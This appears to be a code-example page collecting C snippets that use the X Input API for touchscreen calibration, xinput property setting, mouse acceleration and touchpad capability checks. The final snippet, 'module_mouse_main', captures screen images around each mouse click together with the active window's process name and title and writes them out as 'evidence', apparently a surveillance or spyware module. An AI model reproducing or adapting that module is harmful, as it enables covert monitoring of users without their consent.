    if (XGetDeviceProperty(display, dev, property, 0, 1000, False,
                AnyPropertyType, &act_type, &act_format,
                &nitems, &bytes_after, &data) == Success) {
        if (act_format == 8 && act_type == XA_INTEGER && nitems == 2) {
            old_axys.x.invert = *((char*)data++);
            old_axys.y.invert = *((char*)data);

            if (verbose)
                printf("DEBUG: Read InvertX=%i, InvertY=%i.\n", old_axys.x.invert, old_axys.y.invert);
        }
    }

    printf("Calibrating EVDEV driver for \"%s\" id=%i\n", device_name, (int)device_id);
    printf("\tcurrent calibration values (from XInput): min_x=%d, max_x=%d and min_y=%d, max_y=%d\n",
                old_axys.x.min, old_axys.x.max, old_axys.y.min, old_axys.y.max);
#endif // HAVE_XI_PROP

}
Example #22
0
// Destructor
CalibratorEvdev::~CalibratorEvdev () {
    XCloseDevice(display, dev);
    XCloseDisplay(display);
}
void setCalibration(int id, int minX, int maxX, int minY, int maxY, int axesSwap, int screenWidth, int screenHeight, int outputX, int outputY, int outputWidth, int outputHeight, int rotation) {

    float matrix[] = { 1., 0., 0.,    /* [0] [1] [2] */
                       0., 1., 0.,    /* [3] [4] [5] */
                       0., 0., 1.
                     };  /* [6] [7] [8] */

    int matrixMode = 0;
    /* Check if transformation matrix is supported */
    long l;
    if((sizeof l) == 4 || (sizeof l) == 8) {
        /* We only support matrix mode on systems where longs are 32 or 64 bits long */
        Atom retType;
        int retFormat;
        unsigned long retItems, retBytesAfter;
        unsigned char * data = NULL;
        if(XIGetProperty(display, id, XInternAtom(display,
                         "Coordinate Transformation Matrix", 0), 0, 9 * 32, False, floatAtom,
                         &retType, &retFormat, &retItems, &retBytesAfter,
                         &data) != Success) {
            data = NULL;
        }
        if(data != NULL && retItems == 9) {
            matrixMode = 1;
        }
        if(data != NULL) {
            XFree(data);
        }
    }

    unsigned char flipHoriz = 0, flipVerti = 0;

    if(matrixMode) {

        if(debugMode) printf("Use matrix method\n");

        /* Output rotation */
        if(rotation & RR_Rotate_180) {
            matrix[0] = -1.;
            matrix[4] = -1;
            matrix[2] = 1.;
            matrix[5] = 1.;
        } else if(rotation & RR_Rotate_90) {
            matrix[0] = 0.;
            matrix[1] = -1.;
            matrix[3] = 1.;
            matrix[4] = 0.;

            matrix[2] = 1.;
        } else if(rotation & RR_Rotate_270) {
            matrix[0] = 0.;
            matrix[1] = 1.;
            matrix[3] = -1.;
            matrix[4] = 0.;

            matrix[5] = 1.;
        }

        /* Output Reflection */
        if(rotation & RR_Reflect_X) {
            matrix[0]*= -1.;
            matrix[1]*= -1.;
            matrix[2]*= -1.;
            matrix[2]+= 1.;
        }
        if(rotation & RR_Reflect_Y) {
            matrix[3]*= -1.;
            matrix[4]*= -1.;
            matrix[5]*= -1.;
            matrix[5]+= 1.;
        }

        /* Output Size */
        float widthRel = outputWidth / (float) screenWidth;
        float heightRel = outputHeight / (float) screenHeight;
        matrix[0] *= widthRel;
        matrix[1] *= widthRel;
        matrix[2] *= widthRel;
        matrix[3] *= heightRel;
        matrix[4] *= heightRel;
        matrix[5] *= heightRel;

        /* Output Position */
        matrix[2] += outputX / (float) screenWidth;
        matrix[5] += outputY / (float) screenHeight;

    } else {

        if(debugMode) printf("Use legacy method\n");

        /* No support for transformations, so use legacy method */

        if(rotation & RR_Rotate_180) {
            flipHoriz = !flipHoriz;
            flipVerti = !flipVerti;

        } else if(rotation & RR_Rotate_90) {
            flipVerti = !flipVerti;
            axesSwap = !axesSwap;
        } else if(rotation & RR_Rotate_270) {
            flipHoriz = !flipHoriz;
            axesSwap = !axesSwap;
        }

        /* Output Reflection */
        if(rotation & RR_Reflect_X) {
            flipHoriz = !flipHoriz;
        }
        if(rotation & RR_Reflect_Y) {
            flipVerti = !flipVerti;
        }


        if(axesSwap) {
            swap(&maxX, &maxY);
            swap(&minX, &minY);
        }

        int leftSpace, rightSpace, topSpace, bottomSpace;
        leftSpace = outputX;
        rightSpace = screenWidth - outputX - outputWidth;

        topSpace = outputY;
        bottomSpace = screenHeight - outputY - outputHeight;

        if(flipHoriz) swap(&leftSpace, &rightSpace);
        if(flipVerti) swap(&topSpace, &bottomSpace);

        float fctX = ((float) (maxX - minX)) / ((float) outputWidth);
        float fctY = ((float) (maxY - minY)) / ((float) outputHeight);
        minX = minX - (int) (leftSpace * fctX);
        maxX = maxX + (int) (rightSpace * fctX);
        minY = minY - (int) (topSpace * fctY);
        maxY = maxY + (int) (bottomSpace * fctY);

    }

    XDevice *dev = XOpenDevice(display, id);
    if(dev) {
        if(matrixMode) {
            if((sizeof l) == 4) {
                XChangeDeviceProperty(display, dev, XInternAtom(display,
                                      "Coordinate Transformation Matrix", 0), floatAtom, 32, PropModeReplace, (unsigned char*) matrix, 9);
            } else if((sizeof l) == 8) {
                /* Xlib needs the floats long-aligned, so let's align them. */
                float matrix2[] = { matrix[0], 0., matrix[1], 0., matrix[2], 0.,
                                    matrix[3], 0., matrix[4], 0., matrix[5], 0.,
                                    matrix[6], 0., matrix[7], 0., matrix[8], 0.
                                  };
                XChangeDeviceProperty(display, dev, XInternAtom(display,
                                      "Coordinate Transformation Matrix", 0), floatAtom, 32, PropModeReplace, (unsigned char*) matrix2, 9);
            }
        }

        long calib[] = { minX, maxX, minY, maxY };
        //TODO instead of long, use platform 32 bit type
        XChangeDeviceProperty(display, dev, XInternAtom(display,
                              "Evdev Axis Calibration", 0), XA_INTEGER, 32, PropModeReplace, (unsigned char*) calib, 4);

        unsigned char flipData[] = {flipHoriz, flipVerti};
        XChangeDeviceProperty(display, dev, XInternAtom(display,
                              "Evdev Axis Inversion", 0), XA_INTEGER, 8, PropModeReplace, flipData, 2);

        unsigned char cAxesSwap = (unsigned char) axesSwap;
        XChangeDeviceProperty(display, dev, XInternAtom(display,
                              "Evdev Axes Swap", 0), XA_INTEGER, 8, PropModeReplace, &cAxesSwap, 1);

        XCloseDevice(display, dev);
    }
}
Example #24
0
void X11Extras::x11ResetMouseAccelerationChange()
 {
    //QTextStream out(stdout);

    int xi_opcode, event, error;
    xi_opcode = event = error = 0;
    Display *display = this->display();

    bool result = XQueryExtension(display, "XInputExtension", &xi_opcode, &event, &error);
    if (!result)
    {
        Logger::LogInfo(tr("xinput extension was not found. No mouse acceleration changes will occur."));
        //out << tr("xinput extension was not found. No mouse acceleration changes will occur.") << endl;
    }
    else
    {
        int ximajor = 2, ximinor = 0;
        if (XIQueryVersion(display, &ximajor, &ximinor) != Success)
        {
            Logger::LogInfo(tr("xinput version must be at least 2.0. No mouse acceleration changes will occur."));
            //out << tr("xinput version must be at least 2.0. No mouse acceleration changes will occur.") << endl;
        }
    }

    if (result)
    {
        XIDeviceInfo *all_devices = 0;
        XIDeviceInfo *current_devices = 0;
        XIDeviceInfo *mouse_device = 0;

        int num_devices = 0;
        all_devices = XIQueryDevice(display, XIAllDevices, &num_devices);
        for (int i=0; i < num_devices; i++)
        {
            current_devices = &all_devices[i];
            if (current_devices->use == XISlavePointer && QString::fromUtf8(current_devices->name) == mouseDeviceName)
            {
                Logger::LogInfo(tr("Virtual pointer found with id=%1.").arg(current_devices->deviceid));
                //out << tr("Virtual pointer found with id=%1.").arg(current_devices->deviceid)
                //    << endl;
                mouse_device = current_devices;
            }
        }

        if (mouse_device)
        {
            XDevice *device = XOpenDevice(display, mouse_device->deviceid);

            int num_feedbacks = 0;
            int feedback_id = -1;
            XFeedbackState *feedbacks = XGetFeedbackControl(display, device, &num_feedbacks);
            XFeedbackState *temp = feedbacks;
            for (int i=0; (i < num_feedbacks) && (feedback_id == -1); i++)
            {
                if (temp->c_class == PtrFeedbackClass)
                {
                    feedback_id = temp->id;
                }

                if (i+1 < num_feedbacks)
                {
                    temp = (XFeedbackState*) ((char*) temp + temp->length);
                }
            }

            XFree(feedbacks);
            feedbacks = temp = 0;

            if (feedback_id <= -1)
            {
                Logger::LogInfo(tr("PtrFeedbackClass was not found for virtual pointer."
                                   "No change to mouse acceleration will occur for device with id=%1").arg(device->device_id));
                //out << tr("PtrFeedbackClass was not found for virtual pointer."
                //          "No change to mouse acceleration will occur for device with id=%1").arg(device->device_id)
                //    << endl;
                result = false;
            }
            else
            {
                Logger::LogInfo(tr("Changing mouse acceleration for device with id=%1").arg(device->device_id));
                //out << tr("Changing mouse acceleration for device with id=%1").arg(device->device_id)
                //    << endl;

                XPtrFeedbackControl	feedback;
                feedback.c_class = PtrFeedbackClass;
                feedback.length = sizeof(XPtrFeedbackControl);
                feedback.id = feedback_id;
                feedback.threshold = 0;
                feedback.accelNum = 1;
                feedback.accelDenom = 1;

                XChangeFeedbackControl(display, device, DvAccelNum|DvAccelDenom|DvThreshold,
                           (XFeedbackControl*) &feedback);

                XSync(display, false);
            }

            XCloseDevice(display, device);
        }

        if (all_devices)
        {
            XIFreeDeviceInfo(all_devices);
        }
     }
 }
Example #25
0
int
main(int argc, char *argv[], char *env[])
{
	char           *display_name = NULL;
	char	       *device_name = NULL;
	char	       *output_name = NULL;
	XSetWindowAttributes xswa;
	int             i = 0;
	double          a, a1, a2, b, b1, b2, xerr, yerr;
	int		xi_opcode, event, error;
	XExtensionVersion *version;
	XDeviceInfo	*info;
	XDevice		*device;
	long		 calib_data[4];
	unsigned long	 mask;
	unsigned char	 swap;
	int 		 keep_cursor = 0, ch;

	/* Crosshair placement */
	int		cpx[] = { 0, 0, 1, 1, 1 };
	int		cpy[] = { 0, 1, 0, 0, 1 };

	while ((ch = getopt(argc, argv, "cD:d:o:v")) != -1) {
		switch (ch) {
		case 'c':
			keep_cursor++;
			break;
		case 'D':
			display_name = optarg;
			break;
		case 'd':
			device_name = optarg;
			break;
		case 'o':
			output_name = optarg;
			break;
		case 'v':
			verbose = True;
			break;
		default:
			usage();
			/* NOTREACHED */
		}
	}
	argc -= optind;
	argv += optind;

	if (argc != 0)
		usage();

	/* connect to X server */
	if ((display = XOpenDisplay(display_name)) == NULL) {
		fprintf(stderr, "%s: cannot connect to X server %s\n",
		    __progname, XDisplayName(display_name));
		exit(1);
	}
	screen = DefaultScreen(display);
	root = RootWindow(display, screen);

	/* get screen size from display structure macro */
	xpos = 0;
	ypos = 0;
	width = DisplayWidth(display, screen);
	height = DisplayHeight(display, screen);

	if (XRRQueryExtension(display, &event, &error)) {
		int major, minor;

		if (XRRQueryVersion(display, &major, &minor) != True) {
			fprintf(stderr, "Error querying XRandR version");
		} else {
			printf("XRandR extension version %d.%d present\n",
			    major, minor);
			has_xrandr = True;
			if (major > 1 || (major == 1 && minor >=2))
				has_xrandr_1_2 = True;
			if (major > 1 || (major == 1 && minor >=3))
				has_xrandr_1_3 = True;
		}
	}

	if (output_name != NULL) {
		if (has_xrandr_1_2) {
			get_xrandr_config(display, root, output_name,
			    &xpos, &ypos, &width, &height);
		} else {
			fprintf(stderr, "%s: can not specify an output "
			    "whithout XRandr 1.2 or later", __progname);
			exit(2);
		}
	}
	if (!XQueryExtension(display, INAME, &xi_opcode,
		&event, &error)) {
		fprintf(stderr, "%s: X Input extension not available.\n",
		    __progname);
		exit(1);
	}

	version = XGetExtensionVersion(display, INAME);
	if (version == NULL ||
	    version == (XExtensionVersion *)NoSuchExtension) {
		fprintf(stderr, "Cannot query X Input version.\n");
		exit(1);
	}
	XFree(version);
	prop_calibration = XInternAtom(display, WS_PROP_CALIBRATION, True);
	if (prop_calibration == None) {
		fprintf(stderr, "Unable to find the \"%s\" device property.\n"
		    "There are probably no calibrable devices "
		    "on this system.\n", WS_PROP_CALIBRATION);
		exit(1);
	}
	prop_swap = XInternAtom(display, WS_PROP_SWAP_AXES, True);
	if (prop_swap == None) {
		fprintf(stderr, "Unable to find the \"%s\" device property\n",
		    WS_PROP_SWAP_AXES);
		exit(1);
	}
	info = find_device_info(device_name);
	if (info == NULL) {
		fprintf(stderr, "Unable to find the %s device\n",
			device_name ? device_name : "default");
		exit(1);
	}


	/* setup window attributes */
	xswa.override_redirect = True;
	xswa.background_pixel = BlackPixel(display, screen);
	xswa.event_mask = ExposureMask | KeyPressMask;
	mask = CWOverrideRedirect | CWBackPixel | CWEventMask;
	if (!keep_cursor) {
		xswa.cursor = create_empty_cursor();
		mask |= CWCursor;
	}
	win = XCreateWindow(display, RootWindow(display, screen),
			    xpos, ypos, width, height, 0,
			    CopyFromParent, InputOutput, CopyFromParent,
			    mask, &xswa);
	render_init();
	XMapWindow(display, win);
	XGrabKeyboard(display, win, False, GrabModeAsync, GrabModeAsync,
		      CurrentTime);
	XGrabServer(display);

	XClearWindow(display, win);

	if (verbose)
		printf("Calibrating %s\n", info->name);
	device = XOpenDevice(display, info->id);
	if (!device) {
		fprintf(stderr, "Unable to open the X input device \"%s\"\n",
		    info->name);
		return 0;
	}

	if (!register_events(info, device, 0))
		exit(1);

	uncalibrate(device);
calib:
	XftDrawRect(draw, &bg, 0, 0, width, height);

	for (i = 0; i < 5; i++) {
		draw_graphics(cpx[i], cpy[i], i);
		XFlush(display);
		if (!get_events(i))
			break;
		XftDrawRect(draw, &bg, 0, 0, width, height);
	}
	if (interrupted)
		cleanup_exit(device);

	/* Check if  X and Y should be swapped */
	if (fabs(x[0] - x[1]) > fabs(y[0] - y[1])) {

		calib.swapxy = 1;

		for (i = 0; i < 5; i++) {
			int t = x[i];
			x[i] = y[i];
			y[i] = t;
		}
	}

	/* get touch pad resolution to screen resolution ratio */
	a1 = (double) (x[4] - x[0]) / (double) (cx[4] - cx[0]);
	a2 = (double) (x[3] - x[1]) / (double) (cx[3] - cx[1]);
	/* get the minimum pad position on the X-axis */
	b1 = x[0] - a1 * cx[0];
	b2 = x[1] - a2 * cx[1];
	/* use the average ratio and average minimum position */
	a = (a1 + a2) / 2.0;
	b = (b1 + b2) / 2.0;
	xerr = a * width / 2 + b - x[2];
	if (fabs(xerr) > fabs(a * width * .01)) {
		fprintf(stderr, "Calibration problem: X axis error (%.2f) too high, try again\n",
			fabs(xerr));
		goto err;
	}
	calib.minx = (int) (b + 0.5);
	calib.maxx = (int) (a * width + b + 0.5);

	/* get touch pad resolution to screen resolution ratio */
	a1 = (double) (y[4] - y[0]) / (double) (cy[4] - cy[0]);
	a2 = (double) (y[3] - y[1]) / (double) (cy[3] - cy[1]);
	/* get the minimum pad position on the Y-axis */
	b1 = y[0] - a1 * cy[0];
	b2 = y[1] - a2 * cy[1];
	/* use the average ratio and average minimum position */
	a = (a1 + a2) / 2.0;
	b = (b1 + b2) / 2.0;
	yerr = a * height / 2 + b - y[2];
	if (fabs(yerr) > fabs(a * height * 0.01)) {
		fprintf(stderr, "Calibration problem: Y axis error (%.2f) too high, try again\n",
			fabs(yerr));
		goto err;
	}
	calib.miny = (int) (b + 0.5);
	calib.maxy = (int) (a * height + b + 0.5);

	XFlush(display);

	calib.resx = width;
	calib.resy = height;

	/* Send new values to the X server */
	calib_data[0] = calib.minx;
	calib_data[1] = calib.maxx;
	calib_data[2] = calib.miny;
	calib_data[3] = calib.maxy;
	XChangeDeviceProperty(display, device, prop_calibration,
	    XA_INTEGER, 32, PropModeReplace, (unsigned char *)calib_data, 4);

	swap = calib.swapxy;
	XChangeDeviceProperty(display, device, prop_swap,
	    XA_INTEGER, 8, PropModeReplace, (unsigned char *)&swap, 1);

	XCloseDevice(display, device);

	XCloseDisplay(display);

	/* And print them for storage in wsconsctl.conf */
	printf("mouse.scale=%d,%d,%d,%d,%d,%d,%d\n",
	    calib.minx, calib.maxx,
	    calib.miny, calib.maxy,
	    calib.swapxy,
	    calib.resx, calib.resy);

	return 0;
err:
	draw_text(error_message, &errorColor);
	XFlush(display);
	sleep(2);
	goto calib;
}
Example #26
0
static int
do_set_prop_xi1(Display *dpy, Atom type, int format, int argc, char **argv, char *n, char *desc)
{
    XDeviceInfo  *info;
    XDevice      *dev;
    Atom          prop;
    Atom          old_type;
    char         *name;
    int           i;
    Atom          float_atom;
    int           old_format, nelements = 0;
    unsigned long act_nitems, bytes_after;
    char         *endptr;
    union {
        unsigned char *c;
        short *s;
        long *l;
        Atom *a;
    } data;

    if (argc < 3)
    {
        fprintf(stderr, "Usage: xinput %s %s\n", n, desc);
        return EXIT_FAILURE;
    }

    info = find_device_info(dpy, argv[0], False);
    if (!info)
    {
        fprintf(stderr, "unable to find device %s\n", argv[0]);
        return EXIT_FAILURE;
    }

    dev = XOpenDevice(dpy, info->id);
    if (!dev)
    {
        fprintf(stderr, "unable to open device %s\n", argv[0]);
        return EXIT_FAILURE;
    }

    name = argv[1];

    prop = parse_atom(dpy, name);

    if (prop == None) {
        fprintf(stderr, "invalid property %s\n", name);
        return EXIT_FAILURE;
    }

    float_atom = XInternAtom(dpy, "FLOAT", False);

    nelements = argc - 2;
    if (type == None || format == 0) {
        if (XGetDeviceProperty(dpy, dev, prop, 0, 0, False, AnyPropertyType,
                               &old_type, &old_format, &act_nitems,
                               &bytes_after, &data.c) != Success) {
            fprintf(stderr, "failed to get property type and format for %s\n",
                    name);
            return EXIT_FAILURE;
        } else {
            if (type == None)
                type = old_type;
            if (format == 0)
                format = old_format;
        }

        XFree(data.c);
    }

    if (type == None) {
        fprintf(stderr, "property %s doesn't exist, you need to specify "
                "its type and format\n", name);
        return EXIT_FAILURE;
    }

    data.c = calloc(nelements, sizeof(long));

    for (i = 0; i < nelements; i++)
    {
        if (type == XA_INTEGER) {
            switch (format)
            {
                case 8:
                    data.c[i] = atoi(argv[2 + i]);
                    break;
                case 16:
                    data.s[i] = atoi(argv[2 + i]);
                    break;
                case 32:
                    data.l[i] = atoi(argv[2 + i]);
                    break;
                default:
                    fprintf(stderr, "unexpected size for property %s", name);
                    return EXIT_FAILURE;
            }
        } else if (type == float_atom) {
            if (format != 32) {
                fprintf(stderr, "unexpected format %d for property %s\n",
                        format, name);
                return EXIT_FAILURE;
            }
            *(float *)(data.l + i) = strtod(argv[2 + i], &endptr);
            if (endptr == argv[2 + i]) {
                fprintf(stderr, "argument %s could not be parsed\n", argv[2 + i]);
                return EXIT_FAILURE;
            }
        } else if (type == XA_ATOM) {
            if (format != 32) {
                fprintf(stderr, "unexpected format %d for property %s\n",
                        format, name);
                return EXIT_FAILURE;
            }
            data.a[i] = parse_atom(dpy, argv[2 + i]);
        } else {
            fprintf(stderr, "unexpected type for property %s\n", name);
            return EXIT_FAILURE;
        }
    }

    XChangeDeviceProperty(dpy, dev, prop, type, format, PropModeReplace,
                          data.c, nelements);
    free(data.c);
    XCloseDevice(dpy, dev);
    return EXIT_SUCCESS;
}
static void
synaptics_check_capabilities_x11 (CcMousePropertiesPrivate *d)
{
	int numdevices, i;
	XDeviceInfo *devicelist;
	Atom realtype, prop_capabilities, prop_scroll_methods, prop_tapping_enabled;
	int realformat;
	unsigned long nitems, bytes_after;
	unsigned char *data;
	gboolean tap_to_click, two_finger_scroll;

	prop_capabilities = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "Synaptics Capabilities", False);
	prop_scroll_methods = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "libinput Scroll Methods Available", False);
	prop_tapping_enabled = XInternAtom (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), "libinput Tapping Enabled", False);
	if (!prop_capabilities || !prop_scroll_methods || !prop_tapping_enabled)
		return;

	tap_to_click = FALSE;
	two_finger_scroll = FALSE;

	devicelist = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &numdevices);
	for (i = 0; i < numdevices; i++) {
		if (devicelist[i].use != IsXExtensionPointer)
			continue;

		gdk_error_trap_push ();
		XDevice *device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()),
					       devicelist[i].id);
		if (gdk_error_trap_pop ())
			continue;

		gdk_error_trap_push ();

		/* xorg-x11-drv-synaptics */
		if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_capabilities,
					 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems,
					 &bytes_after, &data) == Success) && (realtype != None)) {
			/* Property data is booleans for has_left, has_middle, has_right, has_double, has_triple.
			 * Newer drivers (X.org/kerrnel) will also include has_pressure and has_width. */

			/* Set tap_to_click_toggle sensitive only if the device has hardware buttons */
			if (data[0])
				tap_to_click = TRUE;

			/* Set two_finger_scroll_toggle sensitive if the hardware supports double touch */
			if (data[3])
				two_finger_scroll = TRUE;

			XFree (data);
		}

		/* xorg-x11-drv-libinput */
		if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_scroll_methods,
					 0, 2, False, XA_INTEGER, &realtype, &realformat, &nitems,
					 &bytes_after, &data) == Success) && (realtype != None)) {
			/* Property data is booleans for two-finger, edge, on-button scroll available. */

			if (data[0] && data[1])
				two_finger_scroll = TRUE;

			XFree (data);
		}

		if ((XGetDeviceProperty (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device, prop_tapping_enabled,
					0, 1, False, XA_INTEGER, &realtype, &realformat, &nitems,
					&bytes_after, &data) == Success) && (realtype != None)) {
			/* Property data is boolean for tapping enabled. */

			tap_to_click = TRUE;

			XFree (data);
		}

		gdk_error_trap_pop_ignored ();

		XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device);
	}
	XFreeDeviceList (devicelist);

	gtk_widget_set_sensitive (WID ("tap_to_click_toggle"), tap_to_click);
	gtk_widget_set_sensitive (WID ("two_finger_scroll_toggle"), two_finger_scroll);
}
Example #28
0
void *module_mouse_main(void *args)
{
   Display *display = NULL;
   int i, devnum = 0, mousenum = 0, buttonrelease = 0;
   XDeviceInfo *devinfo = NULL;
   XDevice **device = NULL;
   XEventClass evlist;
   XEvent event;
   Window root, child;
   int rootX, rootY, childX, childY;
   unsigned int mask;
   XWindowAttributes wininfo;
   int maxfd = -1, xfd = -1;
   int width = 40, height = 40;
   char *process = NULL, *title = NULL;
   int imgx, imgy, imgw, imgh;
   fd_set rfds;
   struct additional a;
   BIO *bio_additional = NULL;
   char *additionalptr, *dataptr = NULL;
   long additionallen, datalen = 0;

   debugme("Module MOUSE started\n");
   if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL;

   if(MODULE_MOUSE_P) {
      width = MODULE_MOUSE_P->width;
      height = MODULE_MOUSE_P->height;
   }

   do {
      if((display = XOpenDisplay(NULL)) == NULL) break;
      if((xfd = ConnectionNumber(display)) < 0) break;
      if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break;
      if(!(device = calloc(devnum, sizeof(XDevice *)))) break;
      if(!(bio_additional = BIO_new(BIO_s_mem()))) break;

      for(i = 0; i < devnum; i++) {
         if(devinfo[i].use == IsXExtensionPointer) {
            if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue;
            DeviceButtonRelease(device[i], buttonrelease, evlist);
            XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1);
            mousenum++;
         }
      }
      if(!mousenum) break;

      maxfd = MAX(xfd, MODULE_MOUSE.event) + 1;

      while(MODULE_MOUSE.status != MODULE_STOPPING) {
         do {
            if(!XPending(display)) {
               FD_ZERO(&rfds);
               FD_SET(xfd, &rfds);
               FD_SET(MODULE_MOUSE.event, &rfds);
               if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break;
            }
            if(MODULE_MOUSE.status == MODULE_STOPPING) break;
            if(XNextEvent(display, &event)) break;
            if(event.type != buttonrelease) break;
            if(((XDeviceButtonEvent *)&event)->button > 3) break;

            XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask);
            XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo);
            getwindowproperties(display, getactivewindow(display), &process, &title);
            debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title);

            imgx = MAX(rootX - (width / 2), 0);
            imgy = MAX(rootY - (height / 2), 0);
            imgw = MIN(rootX + (width / 2), wininfo.width) - imgx;
            imgh = MIN(rootY + (height / 2), wininfo.height) - imgy;
            if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break;

            a.version = MOUSEMODULE_VERSION;
            a.processlen = strlen16(process) + 2;
            a.titlelen = strlen16(title) + 2;
            a.x = rootX;
            a.y = rootY;
            a.width = imgw;
            a.height = imgh;
            (void)BIO_reset(bio_additional);
            BIO_write(bio_additional, &a, sizeof(a));
            BIO_puts16n(bio_additional, process);
            BIO_puts16n(bio_additional, title);
            if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;

            evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen);
         } while(0);
         if(dataptr) { free(dataptr); dataptr = NULL; }
         if(process) { free(process); process = NULL; }
         if(title) { free(title); title = NULL; }
      }
   } while(0);
   if(bio_additional) BIO_free(bio_additional);
   if(device) {
      for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]);
      free(device);
   }
   if(devinfo) XFreeDeviceList(devinfo);
   if(display) XCloseDisplay(display);

   debugme("Module MOUSE stopped\n");

   return NULL;
}